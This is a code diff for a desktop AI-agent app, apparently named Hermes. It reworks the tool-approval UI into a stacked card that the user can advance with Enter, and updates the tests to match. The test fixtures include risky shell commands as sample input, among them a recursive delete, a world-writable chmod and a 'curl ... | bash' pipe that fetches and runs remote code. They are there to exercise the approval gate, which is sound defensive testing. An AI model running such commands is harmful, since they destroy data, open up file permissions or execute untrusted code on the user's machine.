Skip to content

The agent that grows with you

feat(desktop): stack approvals and advance exact requests with Enter

brooklyn!56ea9bab92cc
diff --git a/apps/desktop/src/app/hooks/use-keybinds.ts b/apps/desktop/src/app/hooks/use-keybinds.ts
index 37673b05de0..1dba2244f77 100644
--- a/apps/desktop/src/app/hooks/use-keybinds.ts
+++ b/apps/desktop/src/app/hooks/use-keybinds.ts
@@ -18,6 +18,7 @@ import { setWorkspaceScope } from '@/components/pane-shell/workspace-scope'
import { onReleaseTypingFocus } from '@/components/ui/keyboard-first'
import { findBarClaimsCombo } from '@/lib/find-in-page'
import { contributedKeybindHandler, PROFILE_SLOT_COUNT, SESSION_SLOT_COUNT } from '@/lib/keybinds/actions'
+import { handleApprovalKey, releaseApprovalKey } from '@/lib/keybinds/approval-keys'
import { actionAllowedInInput, comboFromEvent, isEditableTarget } from '@/lib/keybinds/combo'
import { composerFocusKeysAllowed, isComposerFocusSoftCombo, typeToFocusChar } from '@/lib/keybinds/composer-focus-keys'
import { openWorktreeDialog } from '@/store/coding-status'
@@ -384,6 +385,10 @@ export function useKeybinds(deps: KeybindRuntimeDeps): void {
return
}
+ if (handleApprovalKey(event)) {
+ return
+ }
+
const actionId = $comboIndex.get().get(combo)
// Unbound printable → type-to-focus. Bound chords (shift+n, …) win above.
@@ -431,6 +436,10 @@ export function useKeybinds(deps: KeybindRuntimeDeps): void {
// highlighted session. A window blur (Cmd+Tab away mid-switch) cancels so
// the overlay never gets stranded waiting for a keyup that never comes.
const onKeyUp = (event: KeyboardEvent) => {
+ if (event.key === 'Enter' || event.key === 'Escape') {
+ releaseApprovalKey()
+ }
+
if (event.key === 'Tab') {
onSwitcherTabUp()
}
@@ -440,7 +449,12 @@ export function useKeybinds(deps: KeybindRuntimeDeps): void {
}
}
- const onBlur = () => switcherActive() && closeSwitcher()
+ const onBlur = () => {
+ releaseApprovalKey()
+ if (switcherActive()) {
+ closeSwitcher()
+ }
+ }
// Swallow trailing contextmenu after Ctrl+click commit (Electron main menu).
const onContextMenu = (event: MouseEvent) => {
diff --git a/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/input-requests.ts b/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/input-requests.ts
index a9ff3ad2eac..ae610680dab 100644
--- a/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/input-requests.ts
+++ b/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/input-requests.ts
@@ -9,7 +9,7 @@ import { normalizeConnectionRequest, setConnectionRequest, updateConnectionReque
import { dispatchNativeNotification } from '@/store/native-notifications'
import { notify } from '@/store/notifications'
import {
- $approvalRequests,
+
$secretRequests,
$sudoRequests,
$vaultCodeRequests,
@@ -20,7 +20,8 @@ import {
clearSudoRequest,
clearVaultCodeRequest,
clearVaultSaveLoginRequest,
- clearVaultUnlockRequest
+ clearVaultUnlockRequest,
+ sessionApprovalRequests
} from '@/store/prompts'
import { requestRoute } from '@/store/recovery-requests'
import { forgetServerRequest } from '@/store/server-requests'
@@ -121,8 +122,10 @@ export function handleInputRequestEvent(ctx: GatewayEventContext): boolean {
return true
}
- if ($approvalRequests.get()[key]?.serverRequestId === id) {
- clearApprovalRequest(sessionId, $approvalRequests.get()[key]?.requestId)
+ const approval = sessionApprovalRequests(sessionId ?? null).get().find(request => request.serverRequestId === id)
+
+ if (approval) {
+ clearApprovalRequest(sessionId, approval.requestId)
// The Run/Reject bar vanishing is the only thing the user would otherwise
// see; the tool row then shows a model-facing "BLOCKED" result. Say what
@@ -145,6 +148,7 @@ export function handleInputRequestEvent(ctx: GatewayEventContext): boolean {
label: translateNow('assistant.approval.openSafetySettings'),
onClick: () => requestRoute(SAFETY_SETTINGS_ROUTE)
}
+
})
}
} else if ($sudoRequests.get()[key]?.requestId === id) {
diff --git a/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/server-requests.ts b/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/server-requests.ts
index 04a504a28b5..b61e3fa0ac1 100644
--- a/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/server-requests.ts
+++ b/apps/desktop/src/app/session/hooks/use-message-stream/gateway-event/server-requests.ts
@@ -195,8 +195,8 @@ const approval: Handler = ctx => {
if (!request.replayed) {
dispatchNativeNotification({
actions: [
- { id: 'approve', text: translateNow('notifications.native.approveAction') },
- { id: 'reject', text: translateNow('notifications.native.rejectAction') }
+ { id: str(p.request_id) ? `approve:${str(p.request_id)}` : 'approve', text: translateNow('notifications.native.approveAction') },
+ { id: str(p.request_id) ? `reject:${str(p.request_id)}` : 'reject', text: translateNow('notifications.native.rejectAction') }
],
body: command || description,
kind: 'approval',
diff --git a/apps/desktop/src/app/session/hooks/use-session-actions/index.ts b/apps/desktop/src/app/session/hooks/use-session-actions/index.ts
index 64eb124a913..76779987317 100644
--- a/apps/desktop/src/app/session/hooks/use-session-actions/index.ts
+++ b/apps/desktop/src/app/session/hooks/use-session-actions/index.ts
@@ -30,6 +30,7 @@ import { migrateSessionDraft } from '@/store/composer'
import { clearQueuedPrompts, migrateQueuedPrompts } from '@/store/composer-queue'
import { $connectionRequests } from '@/store/connection-request'
import {
+ $gateway,
openGatewayForAgent,
openGatewayForProfile,
requestGatewayForAgent,
@@ -51,7 +52,7 @@ import {
resolveNewChatOwnerRoute
} from '@/store/profile'
import { $projectScope, resolveNewSessionCwd } from '@/store/projects'
-import { receiveApprovalRequest } from '@/store/prompts'
+import { receiveApprovalRequest, replayPendingApproval } from '@/store/prompts'
import { clearStoredTranscriptReadOnly, markStoredTranscriptReadOnly } from '@/store/read-only-transcript'
import {
$activeSessionStoredIdRotation,
@@ -365,6 +366,7 @@ function restorePendingApproval(response: SessionResumeResult, sessionId: string
sessionId,
smartDenied: pending.smart_denied === true
})
+ void replayPendingApproval($gateway.get(), sessionId).catch(() => undefined)
return true
}
diff --git a/apps/desktop/src/components/assistant-ui/tool/approval.test.tsx b/apps/desktop/src/components/assistant-ui/tool/approval.test.tsx
index c1c35fd1914..ab814031699 100644
--- a/apps/desktop/src/components/assistant-ui/tool/approval.test.tsx
+++ b/apps/desktop/src/components/assistant-ui/tool/approval.test.tsx
@@ -1,14 +1,14 @@
-import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react'
+import { act, cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react'
import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
import type { HermesGateway } from '@/hermes'
+import { handleApprovalKey, releaseApprovalKey } from '@/lib/keybinds/approval-keys'
import { $gateway } from '@/store/gateway'
-import { $approvalRequest, clearAllPrompts, setApprovalRequest } from '@/store/prompts'
+import { $approvalRequest, clearAllPrompts, sessionApprovalRequests, setApprovalRequest } from '@/store/prompts'
import { hasOpenServerRequest, rememberServerRequest, resetServerRequestsForTests } from '@/store/server-requests'
import { $activeSessionId } from '@/store/session'
-import { PendingApprovalFallback, PendingToolApproval } from './approval'
-import type { ToolPart } from './fallback-model'
+import { PendingApprovalStack } from './approval'
// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
// doesn't implement; stub them so the menu can open in tests.
@@ -27,10 +27,6 @@ beforeAll(() => {
}
})
-function part(toolName: string): ToolPart {
- return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
-}
-
function setRequest(
command = 'rm -rf /tmp/x',
allowPermanent?: boolean,
@@ -61,37 +57,31 @@ beforeEach(() => {
afterEach(() => {
cleanup()
+ releaseApprovalKey()
clearAllPrompts()
resetServerRequestsForTests()
$activeSessionId.set(null)
$gateway.set(null)
})
-describe('PendingToolApproval', () => {
+describe('PendingApprovalStack', () => {
it('renders nothing when there is no pending approval', () => {
- const { container } = render(<PendingToolApproval part={part('terminal')} />)
+ const { container } = render(<PendingApprovalStack />)
expect(container.innerHTML).toBe('')
})
- it('renders nothing for tools that never raise approval', () => {
- setRequest()
- const { container } = render(<PendingToolApproval part={part('read_file')} />)
-
- expect(container.innerHTML).toBe('')
- })
-
- it('renders the inline run/reject controls on the pending terminal row', () => {
+ it('renders run/reject controls for a pending terminal command', () => {
setRequest('chmod -R 777 /tmp/x')
- render(<PendingToolApproval part={part('terminal')} />)
+ render(<PendingApprovalStack />)
expect(screen.getByRole('button', { name: /Run/ })).toBeTruthy()
expect(screen.getByRole('button', { name: /Reject/ })).toBeTruthy()
})
- it.each(['patch', 'write_file'])('renders inline approval controls for protected %s writes', toolName => {
+ it('renders approval controls for protected instruction writes', () => {
setRequest('Update protected agent instructions')
- render(<PendingToolApproval part={part(toolName)} />)
+ render(<PendingApprovalStack />)
expect(screen.getByRole('button', { name: /Run/ })).toBeTruthy()
expect(screen.getByRole('button', { name: /Reject/ })).toBeTruthy()
@@ -101,7 +91,7 @@ describe('PendingToolApproval', () => {
const request = mockGateway()
const respond = liveApproval()
setRequest('rm -rf /tmp/x', undefined, { requestId: 'apr-1', serverRequestId: 'srq-approval' })
- render(<PendingToolApproval part={part('terminal')} />)
+ render(<PendingApprovalStack />)
fireEvent.click(screen.getByRole('button', { name: /Run/ }))
@@ -118,7 +108,7 @@ describe('PendingToolApproval', () => {
// the queue-level RPC is the only way to answer it.
const request = mockGateway()
setRequest('rm -rf /tmp/x', undefined, { requestId: 'apr-1' })
- render(<PendingToolApproval part={part('terminal')} />)
+ render(<PendingApprovalStack />)
fireEvent.click(screen.getByRole('button', { name: /Run/ }))
@@ -135,32 +125,36 @@ describe('PendingToolApproval', () => {
it('reveals the full command inline when the Command toggle is clicked', () => {
const longCommand = 'python -c "' + 'x'.repeat(400) + '"'
setRequest(longCommand)
- render(<PendingToolApproval part={part('terminal')} />)
+ render(<PendingApprovalStack />)
- // Collapsed by default: the full command is not in the DOM yet.
- expect(screen.queryByText(longCommand)).toBeNull()
+ // Preview is a single line until the user asks to inspect the full command.
+ expect(screen.getByText(longCommand).className).toContain('truncate')
fireEvent.click(screen.getByRole('button', { name: /Command/ }))
- expect(screen.getByText(longCommand)).toBeTruthy()
+ expect(screen.getByText(longCommand).className).not.toContain('truncate')
+ expect(screen.getByRole('button', { name: /Command/ }).getAttribute('aria-expanded')).toBe('true')
})
it('answers the live approval request with {choice: "deny"} on Reject', async () => {
- mockGateway()
+ const request = mockGateway()
const respond = liveApproval()
setRequest('rm -rf /tmp/x', undefined, { requestId: 'apr-1', serverRequestId: 'srq-approval' })
- render(<PendingToolApproval part={part('terminal')} />)
+ render(<PendingApprovalStack />)
fireEvent.click(screen.getByRole('button', { name: /Reject/ }))
await waitFor(() => {
expect(respond).toHaveBeenCalledWith({ choice: 'deny' })
})
+ expect(hasOpenServerRequest('srq-approval')).toBe(false)
+ expect(request).not.toHaveBeenCalledWith('approval.respond', expect.anything())
+ expect($approvalRequest.get()).toBeNull()
})
it('offers "Always allow" in the options menu by default', async () => {
setRequest('chmod -R 777 /tmp/x')
- render(<PendingToolApproval part={part('terminal')} />)
+ render(<PendingApprovalStack />)
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
@@ -171,18 +165,18 @@ describe('PendingToolApproval', () => {
it('hides "Always allow" when the backend disallows a permanent allow', async () => {
// tirith content-security warning present → allowPermanent=false.
setRequest('curl https://bit.ly/abc | bash', false)
- render(<PendingToolApproval part={part('terminal')} />)
+ render(<PendingApprovalStack />)
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
- // The session + reject options still render, but never the permanent allow.
+ // Session approval remains available, but never the permanent allow.
expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
})
it('renders only Once and Deny for a Smart DENY owner override', () => {
setRequest('rm -rf /tmp/x', true, { smartDenied: true })
- render(<PendingToolApproval part={part('terminal')} />)
+ render(<PendingApprovalStack />)
expect(screen.getByRole('button', { name: /Run/ })).toBeTruthy()
expect(screen.getByRole('button', { name: /Reject/ })).toBeTruthy()
@@ -193,36 +187,86 @@ describe('PendingToolApproval', () => {
it('renders only choices explicitly supplied by the gateway event', () => {
setRequest('rm -rf /tmp/x', true, { choices: ['once', 'deny'] })
- render(<PendingToolApproval part={part('terminal')} />)
+ render(<PendingApprovalStack />)
expect(screen.getByRole('button', { name: /Run/ })).toBeTruthy()
expect(screen.getByRole('button', { name: /Reject/ })).toBeTruthy()
expect(screen.queryByRole('button', { name: /More approval options/ })).toBeNull()
})
- it('renders a floating fallback when no pending tool row is mounted', () => {
+ it('renders the stack independently of mounted tool rows', () => {
setRequest('rm /tmp/hermes_approval_test.txt')
- const { container } = render(<PendingApprovalFallback />)
- const fallback = container.querySelector('[data-slot="tool-approval-fallback"]')
+ const { container } = render(<PendingApprovalStack />)
+ const stack = container.querySelector('[data-slot="tool-approval-stack"]')
- expect(fallback).not.toBeNull()
- expect(within(fallback as HTMLElement).getByRole('button', { name: /Run/ })).toBeTruthy()
- expect(within(fallback as HTMLElement).getByRole('button', { name: /Reject/ })).toBeTruthy()
+ expect(stack).not.toBeNull()
+ expect(within(stack as HTMLElement).getByRole('button', { name: /Run/ })).toBeTruthy()
+ expect(within(stack as HTMLElement).getByRole('button', { name: /Reject/ })).toBeTruthy()
})
- it('hides the floating fallback once the inline approval bar is mounted', async () => {
- setRequest('rm /tmp/hermes_approval_test.txt')
+ it('keeps a failed request in front and releases held Enter until the user retries', async () => {
+ const rpc = mockGateway()
+ rpc.mockRejectedValueOnce(new Error('Disconnected'))
+ setRequest('first')
+ render(<PendingApprovalStack />)
+ act(() => { handleApprovalKey(new KeyboardEvent('keydown', { key: 'Enter', cancelable: true })) })
+ await waitFor(() => expect((screen.getByRole('button', { name: /Run/ }) as HTMLButtonElement).disabled).toBe(false))
+ act(() => { handleApprovalKey(new KeyboardEvent('keydown', { key: 'Enter', repeat: true, cancelable: true })) })
+ expect(rpc).toHaveBeenCalledTimes(1)
+ expect($approvalRequest.get()?.command).toBe('first')
+ fireEvent.click(screen.getByRole('button', { name: /Run/ }))
+ await waitFor(() => expect($approvalRequest.get()).toBeNull())
+ })
- const { container } = render(
- <>
- <PendingToolApproval part={part('terminal')} />
- <PendingApprovalFallback />
- </>
- )
+ it('drains exact cards with held Enter without answering a draft or background session', async () => {
+ const rpc = mockGateway()
+ $activeSessionId.set('sess-1')
+ for (const id of ['a', 'b', 'c']) {
+ setApprovalRequest({ command: id, description: id, requestId: id, sessionId: 'sess-1' })
+ }
+ setApprovalRequest({ command: 'background', description: 'background', requestId: 'other', sessionId: 'sess-2' })
+ render(<><PendingApprovalStack /><input aria-label="Draft" /></>)
+ expect(screen.getAllByRole('button', { name: /Run/ })).toHaveLength(1)
+ expect(document.querySelectorAll('[data-slot="card-stack-edge"]')).toHaveLength(2)
+ const draft = screen.getByRole('textbox')
+ fireEvent.change(draft, { target: { value: 'keep this' } })
+ const typing = new KeyboardEvent('keydown', { key: 'Enter', bubbles: true, cancelable: true })
+ draft.addEventListener('keydown', event => handleApprovalKey(event as KeyboardEvent))
+ fireEvent(draft, typing)
+ expect(rpc).not.toHaveBeenCalled()
+
+ for (const [index, id] of ['a', 'b', 'c'].entries()) {
+ act(() => { handleApprovalKey(new KeyboardEvent('keydown', { key: 'Enter', repeat: index > 0, cancelable: true })) })
+ await waitFor(() => expect(rpc).toHaveBeenCalledWith('approval.respond', {
+ choice: 'once', request_id: id, session_id: 'sess-1'
+ }))
+ await waitFor(() => expect(screen.queryAllByRole('button', { name: /Run/ })).toHaveLength(index === 2 ? 0 : 1))
+ }
+ expect(rpc.mock.calls.filter(([method]) => method === 'approval.respond')).toHaveLength(3)
+ expect(sessionApprovalRequests('sess-2').get().map(request => request.requestId)).toEqual(['other'])
+ expect((draft as HTMLInputElement).value).toBe('keep this')
+ })
- await waitFor(() => {
- expect(container.querySelector('[data-slot="tool-approval-inline"]')).not.toBeNull()
- expect(container.querySelector('[data-slot="tool-approval-fallback"]')).toBeNull()
- })
+ it('answers only the front live server request on each held Enter event', async () => {
+ const rpc = mockGateway()
+ const responses = ['a', 'b', 'c'].map(id => ({ id, respond: liveApproval(`srq-${id}`) }))
+ $activeSessionId.set('sess-1')
+ for (const { id } of responses) {
+ setApprovalRequest({ command: id, description: id, requestId: id, serverRequestId: `srq-${id}`, sessionId: 'sess-1' })
+ }
+ render(<PendingApprovalStack />)
+
+ for (const [index, { id, respond }] of responses.entries()) {
+ act(() => { handleApprovalKey(new KeyboardEvent('keydown', { key: 'Enter', repeat: index > 0, cancelable: true })) })
+ await waitFor(() => expect(respond).toHaveBeenCalledExactlyOnceWith({ choice: 'once' }))
+ expect(hasOpenServerRequest(`srq-${id}`)).toBe(false)
+ for (const next of responses.slice(index + 1)) {
+ expect(next.respond).not.toHaveBeenCalled()
+ expect(hasOpenServerRequest(`srq-${next.id}`)).toBe(true)
+ }
+ await waitFor(() => expect(screen.queryAllByRole('button', { name: /Run/ })).toHaveLength(index === responses.length - 1 ? 0 : 1))
+ }
+ expect(rpc).not.toHaveBeenCalledWith('approval.respond', expect.anything())
+ expect($approvalRequest.get()).toBeNull()
})
})
diff --git a/apps/desktop/src/components/assistant-ui/tool/approval.tsx b/apps/desktop/src/components/assistant-ui/tool/approval.tsx
index c82877cac48..4b7fd7f335c 100644
--- a/apps/desktop/src/components/assistant-ui/tool/approval.tsx
+++ b/apps/desktop/src/components/assistant-ui/tool/approval.tsx
@@ -1,10 +1,12 @@
'use client'
import { useStore } from '@nanostores/react'
-import { type FC, useCallback, useEffect, useMemo, useState } from 'react'
+import { type FC, useCallback, useMemo, useRef, useState } from 'react'
import { useSessionView } from '@/app/chat/session-view'
+import { WIDGET_SHELL_CLASS } from '@/components/chat/widget-shell'
import { Button } from '@/components/ui/button'
+import { CardStack } from '@/components/ui/card-stack'
import {
Dialog,
DialogContent,
@@ -16,108 +18,62 @@ import {
import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger } from '@/components/ui/dropdown-menu'
import { useI18n } from '@/i18n'
import { triggerHaptic } from '@/lib/haptics'
-import { AlertCircle, ChevronDown } from '@/lib/icons'
-import { isSubmitEnter } from '@/lib/ime'
+import { AlertCircle, ChevronDown, Loader2 } from '@/lib/icons'
+import { releaseApprovalKey } from '@/lib/keybinds/approval-keys'
import { cn } from '@/lib/utils'
import { $gateway } from '@/store/gateway'
import { reconnectAction } from '@/store/gateway-reconnect'
import { notifyError } from '@/store/notifications'
-import { answerApproval } from '@/store/prompts'
import {
type ApprovalRequest,
+ answerApproval,
clearApprovalRequest,
- registerApprovalInlineAnchor,
replayPendingApproval,
- sessionApprovalInlineVisible,
- sessionApprovalRequest
+ sessionApprovalRequests
} from '@/store/prompts'
-import type { ToolPart } from './fallback-model'
-
-// Inline approval control. Rendered as a compact button strip
-// under the pending tool row that raised the approval (the row already shows
-// the command, so the strip deliberately doesn't repeat it) instead of as a
-// modal overlay.
-//
-// Binding is POSITIONAL, not command-matched: the desktop `tool.start` payload
-// carries no structured args (only tool_id/name/context — see
-// tui_gateway/server.py::_on_tool_start), so we cannot join the approval to the
-// row by command string. an approval server request can fire from the command guards
-// and protected-instruction file writes. The agent thread blocks on exactly one
-// approval at a time, so the single pending row of those tools IS the row that
-// raised it. The command/description text comes from `$approvalRequest` (the
-// event payload), which is the only place that data reliably exists.
-export const APPROVAL_TOOLS = new Set(['terminal', 'execute_code', 'patch', 'write_file'])
-
-// Canonical gateway choices (ui-tui/src/components/prompts.tsx).
+// A session has one response surface, independent of mounted tool rows.
+// Parallel tools and replay can deliver several independently correlated asks.
type ApprovalChoice = 'once' | 'session' | 'always' | 'deny'
-export const PendingToolApproval: FC<{ part: ToolPart }> = ({ part }) => {
- // The tool row lives in whichever session's transcript rendered it — read
- // THAT session's approval (works for the primary and every tile).
- const sessionId = useStore(useSessionView().$runtimeId)
- const $request = useMemo(() => sessionApprovalRequest(sessionId), [sessionId])
- const request = useStore($request)
-
- if (!request || !APPROVAL_TOOLS.has(part.toolName)) {
- return null
- }
-
- return <InlineApprovalBar request={request} />
-}
-
-const InlineApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
- useEffect(() => registerApprovalInlineAnchor(request.sessionId), [request.sessionId])
-
- return <ApprovalBar request={request} surface="inline" />
-}
-
-export const PendingApprovalFallback: FC = () => {
+export const PendingApprovalStack: FC = () => {
const { t } = useI18n()
const sessionId = useStore(useSessionView().$runtimeId)
- const $request = useMemo(() => sessionApprovalRequest(sessionId), [sessionId])
- const $inlineVisible = useMemo(() => sessionApprovalInlineVisible(sessionId), [sessionId])
- const request = useStore($request)
- const inlineVisible = useStore($inlineVisible)
+ const requests = useStore(useMemo(() => sessionApprovalRequests(sessionId), [sessionId]))
- if (!request || inlineVisible) {
+ if (!requests.length) {
return null
}
return (
- <div
+ <section
+ aria-label={t.assistant.approval.jumpToApproval}
className="pointer-events-none absolute left-1/2 z-30 w-[calc(100%-2rem)] max-w-2xl -translate-x-1/2"
- data-slot="tool-approval-fallback"
+ data-approval-stack=""
+ data-slot="tool-approval-stack"
style={{ bottom: 'calc(var(--composer-measured-height) + 0.875rem)' }}
>
- <div className="pointer-events-auto rounded-xl border border-primary/30 bg-(--ui-chat-surface-background) px-3 py-2 shadow-lg backdrop-blur-xl [-webkit-backdrop-filter:blur(1rem)]">
- <div className="flex min-w-0 items-center gap-2 text-sm text-primary">
- <AlertCircle className="size-4 shrink-0" />
- <span className="shrink-0 font-medium">{t.assistant.approval.jumpToApproval}</span>
- {request.description && (
- <span className="min-w-0 truncate text-(--ui-text-tertiary)">{request.description}</span>
- )}
- </div>
- <ApprovalBar request={request} surface="floating" />
+ <div className="pointer-events-auto">
+ <ApprovalCard key={requests[0].requestId ?? 'legacy'} request={requests[0]} count={requests.length} />
</div>
- </div>
+ </section>
)
}
-const isMac = typeof navigator !== 'undefined' && /Mac|iP(hone|ad|od)/.test(navigator.platform)
+interface ApprovalCardProps {
+ request: ApprovalRequest
+ count: number
+}
-const ApprovalBar: FC<{ request: ApprovalRequest; surface: 'floating' | 'inline' }> = ({ request, surface }) => {
+const ApprovalCard: FC<ApprovalCardProps> = ({ request, count }) => {
const { t } = useI18n()
const copy = t.assistant.approval
const gateway = useStore($gateway)
const [submitting, setSubmitting] = useState<ApprovalChoice | null>(null)
+ const submittingRef = useRef(false)
// "Always allow" persists the pattern to ~/.hermes/config.yaml permanently, so
// it goes through a confirm step rather than firing straight from the menu.
const [confirmAlways, setConfirmAlways] = useState(false)
- // The pending tool row only shows a single truncated line of the command, and
- // a pending row can't be expanded (no result yet), so the full command was
- // previously only reachable via the "Always allow" modal. Let the user reveal
- // it inline instead — "expand, Run" (2 clicks) rather than the modal dance.
const [showCommand, setShowCommand] = useState(false)
const busy = submitting !== null
// false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
@@ -130,10 +86,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest; surface: 'floating' | 'inline'
const respond = useCallback(
async (choice: ApprovalChoice) => {
- // Another bar (or the keyboard path) may have already resolved this
- // approval; the map is the single source of truth, so bail if this
- // session's request is gone.
- if (busy || !sessionApprovalRequest(request.sessionId).get()) {
+ const pending = sessionApprovalRequests(request.sessionId).get()
+ if (submittingRef.current || !pending.some(item => item.requestId === request.requestId)) {
return
}
@@ -143,6 +97,7 @@ const ApprovalBar: FC<{ request: ApprovalRequest; surface: 'floating' | 'inline'
return
}
+ submittingRef.current = true
setSubmitting(choice)
try {
@@ -154,124 +109,76 @@ const ApprovalBar: FC<{ request: ApprovalRequest; surface: 'floating' | 'inline'
clearApprovalRequest(request.sessionId, request.requestId)
void replayPendingApproval(gateway, request.sessionId).catch(() => undefined)
} catch (error) {
+ releaseApprovalKey()
notifyError(error, copy.sendFailed)
+ submittingRef.current = false
setSubmitting(null)
}
},
- [busy, copy.gatewayDisconnected, copy.sendFailed, gateway, request]
+ [copy.gatewayDisconnected, copy.sendFailed, gateway, request]
)
- // ⌘/Ctrl+Enter → Run, Esc → Reject.
- // While the confirm dialog is open it owns the keyboard (Esc closes it), so
- // the strip-level shortcuts stand down to avoid denying the whole approval.
- useEffect(() => {
- if (confirmAlways) {
- return
- }
-
- const onKeyDown = (event: KeyboardEvent) => {
- if (isSubmitEnter(event) && (event.metaKey || event.ctrlKey)) {
- event.preventDefault()
- void respond('once')
- } else if (event.key === 'Escape') {
- event.preventDefault()
- void respond('deny')
- }
- }
-
- window.addEventListener('keydown', onKeyDown, true)
-
- return () => window.removeEventListener('keydown', onKeyDown, true)
- }, [confirmAlways, respond])
-
return (
- <div
- className={cn(surface === 'inline' ? 'mt-1 ps-5' : 'mt-2')}
- data-slot={surface === 'inline' ? 'tool-approval-inline' : 'tool-approval-actions'}
- >
- <div className="flex items-center gap-2.5">
- <div className="inline-flex h-6 items-stretch overflow-hidden rounded-md border border-primary/25 bg-primary/10 text-primary">
- <Button
- className="h-full gap-1 rounded-none px-2 text-xs font-medium text-primary hover:bg-primary/15 hover:text-primary"
- disabled={busy}
- loading={submitting === 'once'}
- onClick={() => void respond('once')}
- size="xs"
- variant="ghost"
- >
- {copy.run}
- <span className="text-[0.625rem] text-primary/60">{isMac ? '⌘⏎' : 'Ctrl⏎'}</span>
- </Button>
- {hasMoreOptions && <span aria-hidden className="w-px self-stretch bg-primary/20" />}
- {hasMoreOptions && (
- <DropdownMenu>
- <DropdownMenuTrigger asChild>
- <Button
- aria-label={copy.moreOptions}
- className="h-full w-5 rounded-none px-0 text-primary hover:bg-primary/15 hover:text-primary"
- disabled={busy}
- size="xs"
- variant="ghost"
- >
- <ChevronDown className="size-3" />
- </Button>
- </DropdownMenuTrigger>
- <DropdownMenuContent align="start" className="min-w-44">
- {allowSession && (
- <DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
- )}
- {allowAlways && (
- <DropdownMenuItem
- onSelect={() => {
- // Defer one tick so the menu fully unmounts before the dialog
- // mounts — otherwise Radix's focus-return races the dialog and
- // dismisses it via onInteractOutside.
- setTimeout(() => setConfirmAlways(true), 0)
- }}
- >
- {copy.alwaysAllowMenu}
- </DropdownMenuItem>
- )}
- <DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
- {copy.reject}
- </DropdownMenuItem>
- </DropdownMenuContent>
- </DropdownMenu>
+ <article data-slot="tool-approval-card" data-request-id={request.requestId} className="min-w-0">
+ <CardStack
+ count={count}
+ direction="up"
+ backClassName="rounded-3xl border border-(--stroke-nous) bg-(--ui-widget-surface-background) shadow-nous"
+ >
+ <div className={cn(WIDGET_SHELL_CLASS, 'grid gap-2 shadow-nous')}>
+ <div className="flex min-w-0 items-center gap-2 text-xs text-(--ui-text-secondary)">
+ <AlertCircle className="size-3.5 shrink-0 text-primary" />
+ <span className="min-w-0 flex-1 truncate">{request.description || copy.jumpToApproval}</span>
+ {count > 1 && <span className="shrink-0 tabular-nums text-(--ui-text-tertiary)">1 / {count}</span>}
+ </div>
+ {hasCommand && (
+ <pre
+ className={cn(
+ 'font-mono text-xs leading-relaxed text-foreground',
+ showCommand ? 'max-h-40 overflow-auto whitespace-pre-wrap break-words' : 'truncate'
+ )}
+ >
+ {request.command.trim()}
+ </pre>
)}
</div>
-
- <Button
- className="h-6 gap-1.5 rounded-md px-1.5 text-xs font-normal text-(--ui-text-tertiary) hover:text-foreground"
- disabled={busy}
- loading={submitting === 'deny'}
- onClick={() => void respond('deny')}
- size="xs"
- variant="ghost"
- >
- {copy.reject}
- <span className="text-[0.625rem] opacity-55">Esc</span>
+ </CardStack>
+ <div className="flex items-center gap-2 px-1 py-1.5" data-slot="tool-approval-actions">
+ <Button data-approval-run="" disabled={busy} onClick={() => void respond('once')} size="xs">
+ {submitting === 'once' ? <Loader2 className="animate-spin" /> : copy.run}
+ <span className="opacity-60">↵</span>
+ </Button>
+ {hasMoreOptions && (
+ <DropdownMenu>
+ <DropdownMenuTrigger asChild>
+ <Button aria-label={copy.moreOptions} disabled={busy} size="icon-xs" variant="ghost">
+ <ChevronDown />
+ </Button>
+ </DropdownMenuTrigger>
+ <DropdownMenuContent align="start" className="min-w-44">
+ {allowSession && (
+ <DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
+ )}
+ {allowAlways && (
+ <DropdownMenuItem onSelect={() => setTimeout(() => setConfirmAlways(true), 0)}>
+ {copy.alwaysAllowMenu}
+ </DropdownMenuItem>
+ )}
+ </DropdownMenuContent>
+ </DropdownMenu>
+ )}
+ <Button data-approval-deny="" disabled={busy} onClick={() => void respond('deny')} size="xs" variant="ghost">
+ {submitting === 'deny' ? <Loader2 className="animate-spin" /> : copy.reject}
+ <span className="opacity-55">Esc</span>
</Button>
-
{hasCommand && (
- <Button
- aria-expanded={showCommand}
- className="h-6 gap-1 rounded-md px-1.5 text-xs font-normal text-(--ui-text-tertiary) hover:text-foreground"
- onClick={() => setShowCommand(value => !value)}
- size="xs"
- variant="ghost"
- >
+ <Button aria-expanded={showCommand} onClick={() => setShowCommand(value => !value)} size="xs" variant="ghost">
{copy.command}
- <ChevronDown className={cn('size-3 transition-transform', showCommand && 'rotate-180')} />
+ <ChevronDown className={cn('transition-transform', showCommand && 'rotate-180')} />
</Button>
)}
</div>
- {showCommand && hasCommand && (
- <pre className="mt-1.5 max-h-40 overflow-auto whitespace-pre-wrap break-words rounded-md border border-(--ui-stroke-tertiary) bg-(--ui-chat-surface-background) px-2.5 py-1.5 font-mono text-xs leading-snug text-foreground">
- {request.command.trim()}
- </pre>
- )}
-
<Dialog onOpenChange={setConfirmAlways} open={confirmAlways}>
<DialogContent className="max-w-md">
<DialogHeader>
@@ -302,6 +209,6 @@ const ApprovalBar: FC<{ request: ApprovalRequest; surface: 'floating' | 'inline'
</DialogFooter>
</DialogContent>
</Dialog>
- </div>
+ </article>
)
}
